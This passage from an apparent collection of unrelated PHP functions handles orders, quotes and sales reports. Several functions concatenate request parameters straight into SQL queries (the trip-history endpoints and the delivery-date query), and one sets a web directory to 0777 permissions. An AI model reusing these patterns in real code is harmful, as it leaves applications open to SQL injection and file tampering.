$quoteslern[$i]['created_at']=date('Y-m-d',strtotime($quotescheck['created_at']));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['quote_by']=$quotescheck['quote_by'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['status']='Sent';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t /*$sent_days= $validate_date->diff(new DateTime(date(\"Y-m-d H:i:s\")));*/\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $sent_days=dateDiff($quotescheck['validateaction'], date(\"Y-m-d H:i:s\"));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['notiontime']='Quote sent '.$sent_days.' on days ago';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['comments']='closed on '.$quotescheck['validateaction'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['team']='/';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telseif($quotescheck['sales_review'] == 'closed' && ($quotescheck['closed_reason']=='quote_permanently_lost' || $quotescheck['closeaction']!=\"\" || $quotescheck['close5dayaction']!=\"\" || $quotescheck['close20dayaction']!=\"\" || $quotescheck['close30dayaction']!=\"\") ){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $mrgin=explode('.',$quotescheck['sales_margin_percentage']);\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['identifier']=$quotescheck['identifier'];\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['company_name']=utf8_decode($quotescheck['company_name']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['estimate_sign_percentage']=$quotescheck['estimate_sign_percentage'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['turnover']=$quotescheck['turnover'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['saleinchange']=$quotescheck['bosalesuser'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['created_at']=date('Y-m-d',strtotime($quotescheck['created_at']));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['status']='Closed';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/* $validate_date= new DateTime($quotecron_obj->getquotesvalidatelog($quotescheck['identifier'])[0]['action_at']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $sent_days= $validate_date->diff(new DateTime(date(\"Y-m-d H:i:s\")));*/\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $sent_days=dateDiff($quotecron_obj->getquotesvalidatelog($quotescheck['identifier'])[0]['action_at'],date(\"Y-m-d H:i:s\"));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['notiontime']='Quote sent '.$sent_days.' on days ago';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['comments']= $quotescheck['closed_comments'].'<br> closed on '.$quotescheck['closeaction'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['team']=$this->closedreason[$quotescheck['closed_reason']];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['title']=\"<a href='http://\".$_SERVER['HTTP_HOST'].\"/quote/quote-followup?quote_id=\".$quotescheck['identifier'].\"&submenuId=ML13-SL2' target='_blank'>\".$quotescheck['title'].\"</a>\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t} // end foreach\n\t\t\t\t\t\t\t\t$quoteDetails['quotetotal']=$quotetotal;\n\t\t\t\t\t\t\t\t$quoteDetails['turnover']=$turnover;\n\t\t\t\t\t\t\t\t$quoteDetails['signature']=round($signature/$quotetotal);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t $startdate = date('d',time()-(7*86400));\n\t\t\t\t\t\t\t\t\t $enddate= date('d-M-Y',strtotime(date('Y-m-d')));\n\t\t\t\t\t\t\t\t\t$statusdir =$_SERVER['DOCUMENT_ROOT'].\"/BO/quotes_weekly_report/\";\n\t\t\t\t\t\t\t\t\tif(!is_dir($statusdir))\n\t\t\t\t\t\t\t\t\tmkdir($statusdir,TRUE);\n\t\t\t\t\t\t\t\t\tchmod($statusdir,0777);\n\t\t\t\t\t\t\t\t\t$filename = $_SERVER['DOCUMENT_ROOT'].\"/BO/quotes_weekly_report/weekly-report-$startdate-to-$enddate.xlsx\";\n\t\t\t\t\t\t\t\t\t$htmltable = $this->QuotesTable($quoteDetails,$quoteslern);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t//save excel file \n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tchmod($filename,0777);\t\n\t\t\t\t\t\t\t\t\t$quoteDetails['startdate']=$startdate;\n\t\t\t\t\t\t\t\t\t$quoteDetails['enddate']=$enddate;\n\t\t\t\t\t\t\t\t\t$this->_view->weely_table_details=$quoteDetails;\n\t\t\t\t\t\t\t\t\t$this->_view->weely_table_quote=$quotes;\n\t\t\t\t\t\t\t\t\t$this->_view->filepath=$filename;\n\t\t\t\t\t\t\t\t\t$this->render('weekly-quotes');\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($request['download']=='report'){\n\t\t\t\t\t\t\t\t\t$this->convertHtmltableToXlsx($htmltable,$filename,True);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this->_redirect(\"/quote/download-document?type=weekly&filename=weekly-report-$startdate-to-$enddate.xlsx\");\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t } //end id\n\t\t\t\t\t\t\n\t\t\t \n\t\t\t}", "public function ajaxorderlistAction(){\n\t\ttry{\n\t\t\t$sm = $this->getServiceLocator();\n\t\t\t$config = $sm->get('Config');\n\t\t\t\n \t\t$params = $this->getRequest()->getQuery()->toArray();\n\t\t\t$pagenum = $params['pagenum'];\n\t\t\t$limit = $params['pagesize'];\n\t\t\t$keyword = $params['keyword'];\n\t\t\t$cust_id = $params['cust_id'];\n\t\t\t\n\t\t\t$sortdatafield = $params['sortdatafield'];\n\t\t\t$sortorder = $params['sortorder'];\n\t\t\t\n\t\t\tsettype($limit, 'int');\n\t\t\t$offset = $pagenum * $limit;\n\t\t\t$orderTable = $this->getServiceLocator()->get('Order\\Model\\OrderTable');\n\t\t\tif(!empty($keyword)){\n\t\t\t\t$offset = 0;\n\t\t\t}\n\t\t\t\n\t\t\t$request = $this->getRequest();\n\t\t\t$posts = $request->getPost()->toArray();\n\t\t\t\n\t\t\t//$xero = new \\Invoice\\Model\\Xero($sm);\n\t\t\t//$object = $xero->getAllInvoicesFromWebSerice();\n\t\t\t\n\t\t\t$ordersArr = $orderTable->fetchAll($limit, $offset, $keyword, $cust_id, $sortdatafield, $sortorder);\n\t\t\tforeach($ordersArr['Rows'] as $key => $value){\n\t\t\t\tforeach($value as $field => $fieldValue){\n\t\t\t\t\tif($field == 'created_date'){\n\t\t\t\t\t\t$ordersArr['Rows'][$key][$field] = date($config['phpDateFormat'], strtotime($ordersArr['Rows'][$key]['created_date']));\n\t\t\t\t\t}\n\t\t\t\t\tif(empty($fieldValue)){\n\t\t\t\t\t\t$ordersArr['Rows'][$key][$field] = '-';\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif($field == 'invoice_number'){\n\t\t\t\t\t\t$ordersArr['Rows'][$key]['invoice_number'] = $value['invoice_number'];\n\t\t\t\t\t\t$ordersArr['Rows'][$key]['xero_tax_rate'] = $value['xero_tax_rate'];\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($value['xero_date_due']!='0000-00-00 00:00:00')\n\t\t\t\t\t\t\t$ordersArr['Rows'][$key]['xero_date_due'] = date($config['phpDateFormat'], strtotime($value['xero_date_due']));\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\t$ordersArr['Rows'][$key]['xero_date_due'] ='';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t$ordersArr['Rows'][$key]['payment_made'] = $value['xero_payment_made'];\n\t\t\t\t\t\t\n\t\t\t\t\t\t$ordersArr['Rows'][$key]['value'] = $value['xero_total'];\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t\tforeach($object->Invoices->Invoice as $invoice){\n\t\t\t\t\t\t\t$invoice = (array)$invoice;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($invoice['InvoiceNumber'] == $fieldValue){\n\t\t\t\t\t\t\t\t$ordersArr['Rows'][$key]['value'] = $invoice['Total'];\n\t\t\t\t\t\t\t\t$payment_made = !empty($invoice['AmountPaid']) ? number_format($invoice['AmountPaid'] * 100 / $invoice['Total'], 2) : $invoice['AmountPaid'];\n\t\t\t\t\t\t\t\t$ordersArr['Rows'][$key]['payment_made'] = $payment_made.'%';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t*/}\n\t\t\t\t}\n\t\t\t}\n\t\t\techo json_encode($ordersArr);\n\t\t\texit;\t\t\n\t\t}catch(Exception $e){\n\t\t\t\\De\\Log::logApplicationInfo ( \"Caught Exception: \" . $e->getMessage () . ' -- File: ' . __FILE__ . ' Line: ' . __LINE__ );\n\t\t} \n\t}", "public function getnewlastweekreg()\n {\n if(Request::ajax()){\n\n $req = Request::all();\n\n $req = json_encode($req);\n\n $req = json_decode($req);\n\n $user=Auth::user();\n\n $id_cliente = $this->getIdcliente();\n\n if($req->desde and $req->hasta){\n\n $req->desde = (new DateTime($req->desde))->format('Y-m-d');\n\n $req->hasta = (new DateTime($req->hasta))->format('Y-m-d');\n\n $sql = \"SELECT date_format(`fecha_registro`,'%m-%d-%Y'), count(date_format(`fecha_registro`,'%m-%d-%Y'))\n FROM `primer_registro_email`\n WHERE `id_cliente` = \".$id_cliente.\n \" AND date_format(`fecha_registro`,'%m-%d-%Y') between date_format( '\".$req->desde.\"' ,'%m-%d-%Y') and date_format( '\".$req->hasta.\"' ,'%m-%d-%Y')\n GROUP BY date_format(`fecha_registro`,'%m-%d-%Y')\";\n }else\n if($req->desde){\n\n $req->desde = (new DateTime($req->desde))->format('Y-m-d');\n\n $sql = \"SELECT date_format(`fecha_registro`,'%m-%d-%Y'), count(date_format(`fecha_registro`,'%m-%d-%Y'))\n FROM `primer_registro_email`\n WHERE `id_cliente` = \".$id_cliente.\n \" AND date_format(`fecha_registro`,'%m-%d-%Y') > date_format( '\".$req->desde.\"' ,'%m-%d-%Y') \n GROUP BY date_format(`fecha_registro`,'%m-%d-%Y')\";\n }else\n if($req->hasta){\n\n $req->hasta = (new DateTime($req->hasta))->format('Y-m-d');\n\n $sql = \"SELECT date_format(`fecha_registro`,'%m-%d-%Y'), count(date_format(`fecha_registro`,'%m-%d-%Y'))\n FROM `primer_registro_email`\n WHERE `id_cliente` = \".$id_cliente.\n \" AND date_format(`fecha_registro`,'%m-%d-%Y') < date_format( '\".$req->hasta.\"' ,'%m-%d-%Y')\n GROUP BY date_format(`fecha_registro`,'%m-%d-%Y')\";\n }else{\n $sql = \"SELECT date_format(`fecha_registro`,'%m-%d-%Y'), count(date_format(`fecha_registro`,'%m-%d-%Y'))\n FROM `primer_registro_email`\n WHERE `id_cliente` = \".$id_cliente.\n \" AND date_format(`fecha_registro`,'%m-%d-%Y') between date_format(now()-interval 7 day,'%m-%d-%Y') and date_format(now(),'%m-%d-%Y')\n GROUP BY date_format(`fecha_registro`,'%m-%d-%Y')\";\n }\n\n \n \n $results = DB::select($sql);\n\n return $results;\n\n\n }\n }", "function future_orders_get()\n { \n $input = $this->get();\n \n if(!isset($input['id']) || $input['id'] == '' ||\n !isset($input['user_type']) || $input['user_type'] == '' ||\n !isset($input['page']) || $input['page'] == '') \n { \n $message = ['status' => FALSE,'message' => $this->lang->line('text_rest_invalidparam')];\n $this->set_response($message, REST_Controller::HTTP_BAD_REQUEST); // BAD_REQUEST (400)\n }\n else\n {\n if($input['page'] <= 0){\n $input['page'] = 1;\n }\n if($input['user_type'] == 'user'){\n $settings = $this->Common_model->getSettings('user');\n $sql = \"SELECT * from tbl_trip_details where (user_id = \".$input['id'].\" OR id IN (select order_id from tbl_splitfare where status = 'Accepted' AND receiver_id = \".$input['id'].\")) AND ((status = 'Waiting' AND trip_type = 'later' AND tripdatetime > '\".date('Y-m-d H:i:s').\"') OR status IN ('Assigned', 'Arrived', 'Processing')) ORDER BY id DESC LIMIT \".(($input['page'] - 1) * $settings['per_page']).\",\".$settings['per_page'];\n \n $trip_data = $this->db->query($sql)->result_array();\n }\n else{\n $settings = $this->Common_model->getSettings('driver');\n $trip_data = $this->db->query(\"SELECT * from tbl_trip_details where driver_id = \".$input['id'].\" AND status IN ('Assigned', 'Arrived', 'Processing') ORDER BY id DESC LIMIT \".(($input['page'] - 1) * $settings['per_page']).\",\".$settings['per_page'])->result_array();\n }\n\n if(empty($trip_data)){\n $message = ['status' => FALSE,'message' => $this->lang->line('future_trip_found_error')];\n $this->set_response($message, REST_Controller::HTTP_OK); // OK (200)\n }\n else{\n $past_data = array();\n foreach ($trip_data as $key => $value) {\n \n \n $value['user_data'] = $this->user_model->get_user($input['id']);\n if($value['driver_id'] != '' && $value['driver_id'] != 0){\n $value['driver_data'] = $this->driver_model->get_driver($value['driver_id']);\n }\n else{\n $value['driver_data'] = (object)array(); \n }\n \n $past_data[] = $value;\n }\n \n $message = ['status' => TRUE,'message' => $this->lang->line('future_trip_found_success'),'data'=>$past_data];\n $this->set_response($message, REST_Controller::HTTP_OK); // OK (200)\n }\n }\n }", "function getAllOrders() {\n\techo \"Getting All Order </br>\";\n\t$response = getRequest('/api/order');\n\tprintInfo($response);\n}", "function getOrdersData($varAction=null,$data=null) {\n //echo \"<pre>\";\n $objClassCommon = new ClassCommon();\n $arrRes=array();\n $argWhere='';\n $varTable = TABLE_ORDER_ITEMS;\n $total=0;\n if($varAction=='today' || $varAction=='yesterday'){\n if($varAction=='today'){\n $dateToday=date('Y-m-d'); \n }else{\n $dateToday=date('Y-m-d',strtotime(\"-1 days\"));\n }\n \n \n for ($i=4;$i<25;$i=$i+4){\n \n $num_paddedTotime = sprintf(\"%02d\", $i);\n $num_paddedFromtime = sprintf(\"%02d\", $i-4);\n $toTime=$dateToday.' '.$num_paddedTotime.':00:00';\n $fromTime=$dateToday.' '.$num_paddedFromtime.':00:00';\n \n $arrClms = array('TIME(ItemDateAdded) as date');\n $argWhere = 'ItemDateAdded >= \"'.$fromTime.'\" AND ItemDateAdded < \"'.$toTime.'\"';\n $argWhere .= 'AND Status <> \"Canceled\"';\n \n $arrData = $this->select($varTable, $arrClms, $argWhere);\n $count=count($arrData);\n $arrRes['data'][$i]['time'][]=$arrData;\n $arrRes['data'][$i]['count']=$count;\n $total +=$count;\n }\n $arrRes['total']=$total;\n //print_r($arrRes);\n //die;\n //print_r($arrData);\n //print_r($arrTime);\n //print_r($arrRangeTimes);\n }elseif($varAction=='last_week'){\n $arrWeeksDates=$objClassCommon->getlastWeekDates();\n \n \n foreach($arrWeeksDates as $key=>$date){\n $toTime=$date.' 23:00:00';\n $fromTime=$date.' 00:00:00';\n \n $arrClms = array('DATE(ItemDateAdded) as date');\n $argWhere = 'ItemDateAdded >= \"'.$fromTime.'\" AND ItemDateAdded <= \"'.$toTime.'\"';\n $argWhere .= 'AND Status <> \"Canceled\"';\n \n $arrData = $this->select($varTable, $arrClms, $argWhere);\n $count=count($arrData);\n $arrRes['data'][$key]['dates']=$arrData;\n $arrRes['data'][$key]['count']=$count;\n $total +=$count;\n }\n $arrRes['total']=$total;\n //print_r($arrWeeksDates);\n //print_r($arrRes);\n //die;\n //print_r($arrData);\n //print_r($arrTime);\n //print_r($arrRangeTimes);\n }elseif($varAction=='last_month'){\n $lastMonth=date('n', strtotime(date('Y-m').\" -1 month\"));\n $lastMonthYear=date('Y', strtotime(date('Y-m').\" -1 month\"));\n \n $arrWeeksDates=$objClassCommon->getWeeks($lastMonth,$lastMonthYear);\n //echo $lastMonth.'=='.$lastMonthYear;\n //echo \"<pre>\";\n //print_r($arrWeeksDates);\n //die;\n \n foreach($arrWeeksDates as $key=>$date){\n $toTime=$date['endDate'].' 23:00:00';\n $fromTime=$date['startDate'].' 00:00:00';\n \n $arrClms = array('DATE(ItemDateAdded) as date');\n $argWhere = 'ItemDateAdded >= \"'.$fromTime.'\" AND ItemDateAdded <= \"'.$toTime.'\"';\n $argWhere .= 'AND Status <> \"Canceled\"';\n \n $arrData = $this->select($varTable, $arrClms, $argWhere);\n $count=count($arrData);\n $arrRes['data'][$key]['dates']=$arrData;\n $arrRes['data'][$key]['count']=$count;\n $total +=$count; \n }\n $arrRes['total']=$total;\n //print_r($arrWeeksDates);\n //print_r($arrRes);\n //die;\n //print_r($arrData);\n //print_r($arrTime);\n //print_r($arrRangeTimes);\n }elseif($varAction=='searchReports'){\n $argWhere='';\n if($data['fromDate'] !=''){\n $argWhere .='ItemDateAdded >= \"'.date('Y-m-d',strtotime($data['fromDate'])).' 00:00:00\"';\n }\n if($data['toDate'] !=''){\n if($argWhere != ''){\n $argWhere .=' AND ItemDateAdded <= \"'.date('Y-m-d',strtotime($data['toDate'])).' 23:00:00\"';\n }else{\n $argWhere .='ItemDateAdded <= \"'.date('Y-m-d',strtotime($data['toDate'])).' 23:00:00\"';\n }\n \n }\n \n $arrClms = array('count(ItemDateAdded) as counts');\n $argWhere .= 'AND Status <> \"Canceled\"';\n \n $arrData = $this->select($varTable, $arrClms, $argWhere);\n $count=$arrData[0]['counts'];\n $arrRes['result']=$count;\n }elseif($varAction=='top_order'){\n \n $varQuery = \"SELECT count(fkItemID) as count,fkItemID,ItemName FROM \" . $varTable . \" WHERE Status <> 'Canceled' AND ItemType ='product' GROUP BY fkItemID ORDER BY count DESC LIMIT 10\";\n $arrData = $this->getArrayResult($varQuery);\n //pre($arrData);\n $arrRes['result']=$arrData;\n $arrRes['count']=count($arrData);\n }\n \n //die;\n echo json_encode($arrRes);\n die;\n }", "public function getTodayRevisitOrders()\n {\n return \\DB::select(\"SELECT a.id, a.propaddress1, a.propaddress2, a.propcity, a.propstate, a.propzip, s.descrip as status_name FROM appr_dashboard_delay_order d LEFT JOIN appr_order a ON (a.id=d.orderid) LEFT JOIN order_status s ON (a.status=s.id) WHERE d.created_date BETWEEN :from AND :to AND d.delay_date BETWEEN :t AND :b\", [':from' => strtotime('today'), ':to' => strtotime('tomorrow'), ':t' => strtotime('today'), ':b' => strtotime('tomorrow')]);\n }", "public function getRecurringOrders();", "public function AllOpen_Orders_get() {\n extract($_GET);\n $result = $this->feeds_model->AllOpen_Orders();\n return $this->response($result);\n }", "function past_orders_get()\n { \n $input = $this->get();\n \n if(!isset($input['id']) || $input['id'] == '' ||\n !isset($input['user_type']) || $input['user_type'] == '' ||\n !isset($input['page']) || $input['page'] == '') \n { \n $message = ['status' => FALSE,'message' => $this->lang->line('text_rest_invalidparam')];\n $this->set_response($message, REST_Controller::HTTP_BAD_REQUEST); // BAD_REQUEST (400)\n }\n else\n {\n if($input['page'] <= 0){\n $input['page'] = 1;\n }\n if($input['user_type'] == 'user'){\n $settings = $this->Common_model->getSettings('user');\n $sql = \"SELECT * from tbl_trip_details where (user_id = \".$input['id'].\" OR id IN (select order_id from tbl_splitfare where status = 'Accepted' AND receiver_id = \".$input['id'].\")) AND status IN ('Completed', 'Cancelled') ORDER BY id DESC LIMIT \".(($input['page'] - 1) * $settings['per_page']).\",\".$settings['per_page'];\n\n $trip_data = $this->db->query($sql)->result_array();\n }\n else{\n $settings = $this->Common_model->getSettings('driver');\n $trip_data = $this->db->query(\"SELECT * from tbl_trip_details where driver_id = \".$input['id'].\" AND status IN ('Completed', 'Cancelled') ORDER BY id DESC LIMIT \".(($input['page'] - 1) * $settings['per_page']).\",\".$settings['per_page'])->result_array();\n }\n\n if(empty($trip_data)){\n $message = ['status' => FALSE,'message' => $this->lang->line('past_trip_found_error')];\n $this->set_response($message, REST_Controller::HTTP_OK); // OK (200)\n }\n else{\n $past_data = array();\n foreach ($trip_data as $key => $value) {\n \n \n $value['user_data'] = $this->user_model->get_user($input['id']);\n if($value['driver_id'] != '' && $value['driver_id'] != 0){\n $value['driver_data'] = $this->driver_model->get_driver($value['driver_id']);\n }\n else{\n $value['driver_data'] = (object)array(); \n }\n \n $past_data[] = $this->Common_model->getOrderDetails($value['id']);\n }\n \n $message = ['status' => TRUE,'message' => $this->lang->line('past_trip_found_success'),'data'=>$past_data];\n $this->set_response($message, REST_Controller::HTTP_OK); // OK (200)\n }\n }\n }", "public static function getWeeklyOrders()\n\t{\n\t\tTools::displayAsDeprecated();\n\t\t$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow('\n\t\tSELECT COUNT(`id_order`) as nb\n\t\tFROM `'._DB_PREFIX_.'orders`\n\t\tWHERE YEARWEEK(`date_add`) = YEARWEEK(NOW())');\n\n\t\treturn isset($result['nb']) ? $result['nb'] : 0;\n\t}", "public function retrieveOrders() {\r\n $client = new Client(\r\n str_replace('/public', '', get_site_url()),\r\n // get_site_url(),\r\n $this->consumer_key,\r\n $this->consumer_secret,\r\n [\r\n 'wp_api' => true,\r\n 'version' => 'wc/v3',\r\n 'query_string_auth' => true,\r\n 'timeout' => PADBSYNC_CURL_TIMEOUT\r\n ]\r\n );\r\n \r\n global $wpdb;\r\n \r\n $query = \"SELECT ID FROM {$wpdb->prefix}posts WHERE profaktura_status = %d AND post_type = %s ORDER BY post_date DESC\";\r\n \r\n $sql = $wpdb->prepare($query, [0, 'shop_order']);\r\n \r\n $dbOrdersProStatZero = $wpdb->get_results($sql);\r\n \r\n $allOrders = $client->get('orders');\r\n \r\n $orders = [];\r\n \r\n if (count($allOrders) > 0 && count($dbOrdersProStatZero) > 0) {\r\n foreach ($allOrders as $o) {\r\n foreach ($dbOrdersProStatZero as $d) {\r\n if ($o->id == $d->ID) {\r\n $orders[] = $o;\r\n continue;\r\n }\r\n }\r\n } \r\n }\r\n \r\n if (count($orders) < 1) {\r\n return new WP_REST_Response(['message' => 'No orders found!']);\r\n }\r\n \r\n return new WP_REST_Response($orders);\r\n }", "public function index()\n {\n $now = Carbon::now();\n\n $place = $this->getPlace();\n\n $query1 = Order::query()\n ->where('place_id', $place->id)\n ->status('draft', '!=');\n\n $d1 = $now->copy();\n $res[] = [\n 'title' => 'Заказы сегодня:',\n 'dates' => [$d1->format('Y-m-d')],\n 'count' => (clone $query1)->whereDate('created_at', $d1)->count(),\n 'amount' => (clone $query1)->whereDate('created_at', $d1)->sum('amount'),\n ];\n $d1 = $now->copy()->addDays(-1);\n $res[] = [\n 'title' => 'Заказы вчера:',\n 'dates' => [$d1->format('Y-m-d')],\n 'count' => (clone $query1)->whereDate('created_at', $d1)->count(),\n 'amount' => (clone $query1)->whereDate('created_at', $d1)->sum('amount'),\n ];\n $d1 = $now->copy()->startOfWeek();\n $d2 = $now->copy()->endOfWeek();\n $res[] = [\n 'title' => 'За эту неделю:',\n 'dates' => [$d1->format('Y-m-d'), $d2->format('Y-m-d')],\n 'count' => (clone $query1)\n ->whereBetween('created_at', [$d1, $d2])->count(),\n 'amount' => (clone $query1)\n ->whereBetween('created_at', [$d1, $d2])->sum('amount'),\n ];\n $d1 = $now->copy()->addDays(-7)->startOfWeek();\n $d2 = $now->copy()->addDays(-7)->endOfWeek();\n $res[] = [\n 'title' => 'За прошлую неделю:',\n 'dates' => [$d1->format('Y-m-d'), $d2->format('Y-m-d')],\n 'count' => (clone $query1)\n ->whereBetween('created_at', [$d1, $d2])->count(),\n 'amount' => (clone $query1)\n ->whereBetween('created_at', [$d1, $d2])->sum('amount'),\n ];\n $d1 = $now->copy()->startOfMonth();\n $d2 = $now->copy()->endOfMonth();\n $res[] = [\n 'title' => 'За этот месяц:',\n 'dates' => [$d1->format('Y-m-d'), $d2->format('Y-m-d')],\n 'count' => (clone $query1)\n ->whereBetween('created_at', [$d1, $d2])->count(),\n 'amount' => (clone $query1)\n ->whereBetween('created_at', [$d1, $d2])->sum('amount'),\n ];\n $d1 = $now->copy()->addMonths(-1)->startOfMonth();\n $d2 = $now->copy()->addMonths(-1)->endOfMonth();\n $res[] = [\n 'title' => 'За прошлый месяц:',\n 'dates' => [$d1->format('Y-m-d'), $d2->format('Y-m-d')],\n 'count' => (clone $query1)\n ->whereBetween('created_at', [$d1, $d2])->count(),\n 'amount' => (clone $query1)\n ->whereBetween('created_at', [$d1, $d2])->sum('amount'),\n ];\n\n return [\n 'data' => $res\n ];\n }", "public function actionWalmartorderinfo()\n {\n $status = false;\n if (isset($_GET['status'])) {\n $status = $_GET['status'];\n }\n $merchant_id = MERCHANT_ID;\n $test = false;\n $prev_date = date('Y-m-d', strtotime(date('Y-m-d') . ' -2 month'));\n $config = Data::getConfiguration($merchant_id);\n $walmartHelper = new Walmartapi($config['consumer_id'], $config['secret_key']);\n if ($status) {\n $orderdata = $walmartHelper->getOrders(['status' => $status, 'limit' => '100', 'createdStartDate' => $prev_date], Walmartapi::GET_ORDERS_SUB_URL, $test);\n } else {\n $orderdata = $walmartHelper->getOrders(['limit' => '100', 'createdStartDate' => $prev_date], Walmartapi::GET_ORDERS_SUB_URL, $test);\n }\n\n print_r($orderdata);\n die;\n }", "function get_delivery_date_withing_week_page($cDate,$lWeek){\n $query = \"\n SELECT\n view_delivery_dates.mgo_file_ref,\n view_delivery_dates.dos_file_ref,\n view_delivery_dates.vote_id,\n view_delivery_dates.vote_head,\n view_delivery_dates.vote_name,\n view_delivery_dates.item_id,\n view_delivery_dates.item_code,\n view_delivery_dates.item_name,\n view_delivery_dates.quantity,\n view_delivery_dates.unit_type_id,\n view_delivery_dates.unit_name,\n view_delivery_dates.tndr_open_date,\n view_delivery_dates.ho_date,\n view_delivery_dates.date_of_doc_ho,\n view_delivery_dates.tec_due_date,\n view_delivery_dates.received_tec_date,\n view_delivery_dates.forward_tec_date,\n view_delivery_dates.recomma_due_date,\n view_delivery_dates.rece_rec_date,\n view_delivery_dates.fwd_tb_date,\n view_delivery_dates.tb_approval_date,\n view_delivery_dates.appd_sup_id,\n view_delivery_dates.supplier_ref,\n view_delivery_dates.supplier_name,\n view_delivery_dates.appd_sup_remarks,\n view_delivery_dates.delivery_date\n FROM\n view_delivery_dates\n WHERE view_delivery_dates.delivery_date BETWEEN '$cDate' AND '$lWeek'\n \";\n $query_result = $this->mDbm->setData($query);\n return $query_result;\n }", "public function oneAction(){\n $isAjax = Mage::app()->getRequest()->isAjax();\n if($isAjax){\n $response = array();\n $customerRfc = trim(Mage::app()->getRequest()->getPost('rfc'));\n $orderNum = trim(Mage::app()->getRequest()->getPost('order'));\n $email = trim(Mage::app()->getRequest()->getPost('email'));\n\n // helpers\n $facturahelper = Mage::helper('facturacom_facturacion/factura');\n $orderhelper = Mage::helper('facturacom_facturacion/order');\n\n //search order in Magento\n $order = $orderhelper->getOrderByNum($orderNum);\n //check if order exists\n if(!isset($order->id)){\n $response = array(\n 'error' => 400,\n 'message' => 'No existe un pedido con ese número. Por favor inténtelo con otro número.'\n );\n }else{\n //check for the order status \"complete\"\n if(in_array($order->status, array('complete','processing'), true )){\n\n if(!$this->validateDayOff($order->payment_day)) {\n\n $response = array(\n 'error' => 400,\n 'message' => 'La fecha para facturar tu pedido ya pasó!'\n );\n\n } else {\n\n if($order->customer_email == $email){\n\n $orderLocal = $facturahelper->getOrderFromLocal($orderNum);\n\n if(isset($orderLocal['id'])){\n $response = array(\n 'error' => 300,\n 'message' => 'Este pedido ya se encuentra facturado.',\n 'data' => array(\n 'order_local' => $orderLocal\n )\n );\n }else{\n\n //Get customer by RFC\n $customer = $facturahelper->getCustomerByRFC($customerRfc);\n //Get order lines\n $orderEntity = $orderhelper->getOrderEntity($orderNum);\n $lineItems = $orderhelper->getOrderLines($orderEntity);\n\n //Guardar información premilinarmente en cookies\n $facturahelper->setCookie('order', json_encode($order));\n $facturahelper->setCookie('customer', json_encode($customer));\n $facturahelper->setCookie('line_items', json_encode($lineItems));\n\n $response = array(\n 'error' => 200,\n 'message' => 'Pedido encontrado exitósamente',\n 'data' => array(\n 'order' => $order,\n 'customer' => $customer,\n 'line_items' => $lineItems\n )\n );\n }\n }else{\n $response = array(\n 'error' => 400,\n 'message' => 'El email ingresado no coincide con el correo registrado en el pedido. Por favor inténtelo con otro correo.',\n 'order' => $order,\n );\n }\n\n }//past date\n }else{\n $response = array(\n 'error' => 400,\n 'message' => 'El pedido aún no se encuentra listo para facturar. Por favor espere a que su pedido sea enviado.',\n 'order' => $order,\n );\n }\n }\n\n 